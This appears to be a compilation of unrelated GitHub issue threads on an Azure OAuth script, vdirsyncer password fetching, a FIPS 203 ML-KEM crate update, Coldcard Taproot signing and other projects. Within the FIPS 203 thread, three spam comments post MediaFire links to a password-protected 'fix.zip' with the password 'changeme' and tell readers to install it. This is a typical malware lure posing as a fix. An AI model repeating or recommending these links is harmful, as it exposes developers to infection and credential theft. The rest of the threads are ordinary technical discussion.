Azure/AzureOAuth2.ps1

Hi Mr. Charles,
Good Day!
I have gone through your script and it looks intresting . I tried to execute on my own. But I am not able to get the output.
I am getting below error. Could you please guide me to find out the issue?
Get-AzureBearerToken : A parameter cannot be found that matches parameter name 'bearerToken'.
At line:1 char:43

$token, $expiresOn = Get-AzureBearerToken @variables

                                      ~~~~~~~~~~

CategoryInfo          : InvalidArgument: (:) [Get-AzureBearerToken], ParameterBindingException
FullyQualifiedErrorId : NamedParameterNotFound,Get-AzureBearerToken

@manoharanP Absolutely, thanks for pointing this out. The README example was just incorrect for some reason. The proper use of Get-AzureBearerToken is
$token, $expiresOn = Get-AzureBearerToken -tenantId $variables["tenantId"] `
                                          -clientId $variables["clientId"] `
                                          -clientSecret $variables["clientSecret"] `
                                          -resource $variables["resource"]

$variables["bearerToken"] = $token
$variables["bearerTokenExpiresOn"] = $expiresOn

and the bearerToken can be accessed using $variables["bearerToken"].
Thanks again for opening this Issue.. closing now as Resolved.


Jumptask Watcher

Please make watcher for jumptask thanks

Just added JMPT support with the last version! You need to edit your config accordingly:
module.exports = {
    discordWebhookURL: "WEBHOOK URL", //Discord WebHook URL

    authTokens: ["AUTH TOKEN"], //see https://github.com/LockBlock-dev/honeygain.js/blob/master/Authorization.md

    modes: ["total"], //you can put one mode or all of them

    delay: 40, //delay before updating earnings

    jmpt: true, //if you are using JumpTask set it to true
};


Test: Vagrant print vagrant status when a vm fail to connect.

Had seen in the last weeks that Vms are not working correctly and after
provision the vm looks like that die or can't connect.
Added this PR to be able to debug what happens and get deep in the
problem.
Related to #5648
Signed-off-by: Eloy Coto<EMAIL_ADDRESS>

This change is

test-me-please


Make password retrieval per-storage and explicit

At the moment password retrieval is a bit flaky: Vdirsyncer "just tries" a series of methods and sends the next-best thing to the server. This is very problematic because in the case of a failing custom command, vdirsyncer might send a wrong password (from a password store not intended by the user) to the server. One could call this leaking secrets.
I've worked around this for now by aborting this process if the custom command fails, but we have to seriously rethink how password retrieval is supposed to work.

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/24438787-make-password-retrieval-per-storage-and-explicit?utm_campaign=plugin&utm_content=tracker%2F574345&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F574345&utm_medium=issues&utm_source=github).

Also I think it's somewhat unfortunate that vdirsyncer only resolves passwords by hostname. This becomes a problem if one wants to sync multiple accounts from the same server. This problem vanishes if password config becomes per-storage. I wonder if we should copy offlineimap's "pythonfile" for this or stick to shell commands.

I thought a lot about this and the only way I can see working is the following. Instead of:
[storage foo]
param = secretValue

you write one of this:
fetch:param = ["command", "mycommand"]
fetch:param = ["keychain", "passwordname"]

The fetching would happen without the storage's knowledge, which is why with netrc one would have to explicitly set the hostname:
fetch:param = ["netrc", "example.com"]

I wonder if it's not more straightforward to just cat a file instead of that abomination.

@geier @hobarrera You were rather critical of removing netrc support, would the kind of support as shown above still be worth it?

I personally run a custom command, and think that it's the most flexible choice (eg: you can even grep netrc if you want to remove support for that).
I don't really follow what you're proposing with fetch:param, can you rephrase a bit?

Not sure how to phrase it differently. Basically instead of this:
[general]
password_command = "cat secret.txt"

[storage foo]
type = carddav
username = foobar

you write this:
[storage foo]
type = carddav
username = foobar
fetch:password = ["command", "cat", "secret.txt"]

The nice thing is that you can apply this to arbitrary params:
[storage foo]
type = carddav
fetch:username = ["command", ...]
fetch:password = ["command", ...]

Oh, I get it now. This looks like a great idea, really really flexible. Not sure what the issue with storing usernames (or other settings except password) in the config would be though.

I only saw that offlineimap supported this, and I guess it's a nice to have.
My main motivation is, however, that this removes all password-fetching code from vdirsyncer.storage.

My main motivation is, however, that this removes all password-fetching code from vdirsyncer.storage.

 If properly done, this can be easily reusable too.

Sorry to reopen this thread, but with this new method is it always possible to get the password from the command-line (like sudo) without using any script or extra file ?
If so, how do it ?

I've removed that feature since you can implement it as custom command. Do people actually use this?

I sync my calendars manually and not so often. I do not want to write explicitly my passwords in the config file or use a thirdparty to enter a password.
What could be the simplest command to achieve such behavior?
If it's not possible or too cumbersome, I will look at the keyring method.

I thought about something like ["command", "bash", "-c", "read -p 'Password: ' -s $x; echo $x"], but I realize that probably wouldn't work because "command" captures all output.
I've re-added a way to prompt for the password.

The prompt introduced in 21b1bafc483e1065133c0f8ed5a7f18685a2a1ae is working nicely, thanks for getting back this functionality.
Would it just be possible to add a new line between the different operations (syncing and prompting), because when syncing multiple calendars, the following appears (where CalendarN are different):

 Detected change in config file, discovering collections for Calendar3Password for Calendar4:```

This must've been an issue with the old behavior too, can you confirm that?


Please update from IPD to released FIPS203

Earlier this month, NIST finalized the release of FIPS203.
According to §C.2 of the final FIPS203 the changes from the Initial Public Draft (IPD) are:

Based on comments submitted on the draft ML-KEM, domain separation was added to K-PKE.KeyGen to prevent the misuse of keys generated to target one security level from being used for a different security level when saving a key as a seed.
Additionally, FIPS 203 ipd had inadvertently swapped the indices of matrix 𝐀̂ in K-PKE.KeyGen and K-PKE.Encrypt. This was changed back in the final version of ML-KEM to match CRYSTALS-KYBER.

other notes:

announcement in the Federal Register
NIST press release

I believe that this doesn't change anything related to the usable public API of the crate, so it doesn't require an incompatible SemVer bump.  That said, if you want to bump the version to 1.0 to reflect the release of the final version, or to acknowledge the  incompatibility in 𝐀̂, that could also be a reasonable approach.

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Hey @dkg -- I just made commit 269e974 which updates the functionality to the released FIPS 203 spec and passes the NIST vectors. It includes a new API keygen_with_seed(). It will become v0.4.0 once I get through updating the comments, revising some of the internal tests and supporting code.

thanks @integritychain !
In addition to keygen_with_seed, I'm wondering whether it makes sense to be able to have a keygen that exposes the seed directly, in addition to the enc/dec pairing.

at the very least, exposing a gen_seed function could be useful for ensuring that the same RNG is used by an implementation that uses both in keygen and keygen_with_seed.

Hey @dkg fyi the refactoring is progressing well, including aligning the internal code comments with spec updates, and the internal refactoring of the ml_kem functions. Hopefully, updating the supporting code should progress smoothly.
Btw, I realized that  keygen_from_seed() is likely clearer than keygen_with_seed(). As for exposing the seed, the code re-exports the RNG functions/trait necessary to generate the seeds, so I was intended to heavily document how this can be (externally) done in the first instance. Unwinding public API isn't fun ;( so I wanted to think a bit further before adding.

i agree we don't want to expose anything fancy that we'd regret later.  But it seems to me like there are two possible scenarios: ⓐ generating seeds is super complicated, or ⓑ generating seeds is trivial.
If it's trivial, then a simple trivial gen_seed wrapper doesn't seem like such a problem; it should map cleanly and obviously to whatever the trivial bits are.  If turns out that it's complicated, then that's all the more reason to do it right and expose a simple interface.  And of course as long as the seed type itself is straightforward (like an array of 32 or 64 u8s) then someone who wants to use their own custom seed generation routine can always come up with it externally too.  No need to make the interface complex with passing in an RNG or anything like that.  The point of the simple interface is to document a simple default, and let people with more complex needs figure them out for themselves.  (that's how i see it anyway)

Hey @dkg Generating the seeds is trivial, see the example https://github.com/integritychain/fips203/blob/main/src/traits.rs#L107
For now, I have published v0.4.0 aligning with the final spec, but without seed_gen as I'd like to ask around a bit further.
Let's give it some time to settle and we can open another thread...thanks for your eyes on this!


Add IVsService, IVsService<TInterfaceType, TServiceType> as a replacement for IServiceProvider/SVsServiceProvider

Allows VS services to imported directly as MEF components via the IVsService and IVsService<TInterfaceType, TServiceType> interfaces, instead indirectly accessed via SVsServiceProvider:
    public Constructor(IVsService<IVsUIShell> shell)

-or-
    public Constructor(IVsService<SVsUIShell, IVsUIShell> shell)

You can access the service via:
   shell.Value.ShowMessageBox(...)

IVsService<>.Value does two things:

Validates that you've called it on the UI thread, to avoid deadlocks we shouldn't be calling GetService off the UI thread.
Validates that the expected service is present (this may prove to be too aggressive, will change policy if we need optional services). From my inspection a bunch of code does this check..

I've changed StartupProjectRegistrar to use IVsService as an example. More usage will be in a later PR.

tag @dotnet/project-system @basoundr @333fred

LGTM modulo the comments


FAILURE PSBT does not contain any key path information

I created this wallet using my MK4 and yesterday when I tried to do some UTXO consolidation it return me this error when doing sighash all::
FAILURE PSBT does not contain any key path information
When I select sighash default I get the following error: Can only do Sighash ALL.
I tried creating different transactions but I get the same errors with any transaction I create. I also tried recovering my keys using bluewallet and it did not find any transaction. I do have multiple UTXOs in it.
I have already checked the master finger print from the coldcard mk4 and sparrow and they match.
How can I trouble shoot this to be able to move/recover my funds?
Thanks!

You need to run the Edge firmware on the Coldcard to sign Taproot transactions.

Hi Craig,
I am still waiting on my SD/USB-C adaptor but that is probably it. I have an older firmware on my mk4 and this is the only wallet with Taproot allow. I appreciate all the work you've done and the quick response here.
Cheers

I have the same problem with MK3.  I am running the latest version of firmware 4.1.9.
I created the taproot wallet in Sparrow (also latest version 1.9.1).
I tried to sign the transaction first with USB and then Saving the Transaction to MicroSD.  In both cases got the same error as listed above.

@algotechio The Edge firmware is 6.x. 4.1.9 does not support Taproot.


AMP Readiness Tool: testing and rewriting apps.json/vendors.json

Apps.json has been reformatted and its naming is now vendors.json.
Also testing for popup.js

So my work around is that the karma tests won't run at all if the JSON contains things such as trailing commas, an uneven number of brackets and things like that. Then, within the popup-test.js file I check to make sure the vendors object within the vendors.json file follows a schema. All objects have to have category and regex attributes.


Generated off latest version of blob swagger

Merging this for now, if @srnagar or @jianghaolu respond, I will follow up with another PR


Update BUFR to 12.1.0

Summary
Upgrade BUFR to 12.1.0.
Testing
Currently concretizing on Hera, then will build the unified and gsi-addon environments.
Applications affected
JEDI, global-workflow, GSI, GDASApp
Systems affected
All
Dependencies
#1217
#1252
Issue(s) addressed
#1060
Checklist

[x] This PR addresses one issue/problem/enhancement, or has a very good reason for not doing so.
[ ] These changes have been tested on the affected systems and applications.
[ ] All dependency PRs/issues have been resolved and this PR can be merged.

@climbfuji Ultimately, I do want the Python and BUFR upgrades.  But, thinking about it, the BUFR upgrade is more important and simpler, so perhaps it can be merged quickly on its own then pulled into #1252 and/or #1217.

I will open a new PR with just the BUFR upgrade.


Updated markdown links to working html links on https://godotsteam.com/tutorials/c-sharp/

Apologies if I've done something wrong as this is my first pull request to a public repo.
While looking in the docs I noticed that on the c# page (https://godotsteam.com/tutorials/c-sharp/) that the links in the Other Resources section are in Markdown and not displaying a clickable link. This pull request fixes it.
Dan

Hey Dan!  Thanks for catching this.  I didn't notice it when I pushed all those update.  However, we do not update the gh-pages branch as that is what Github creates from our gh-pages-source branch.  Any changes made there will just be overwritten the next time the docs get changed.  Manual changes and updates have to be made in the gh-pages-source branch and primarily in Markdown.
I won't be back until later today if you want to make these changes to the source branch.  If not, I can do it when I return.
Thank you for reporting on this and making those changes!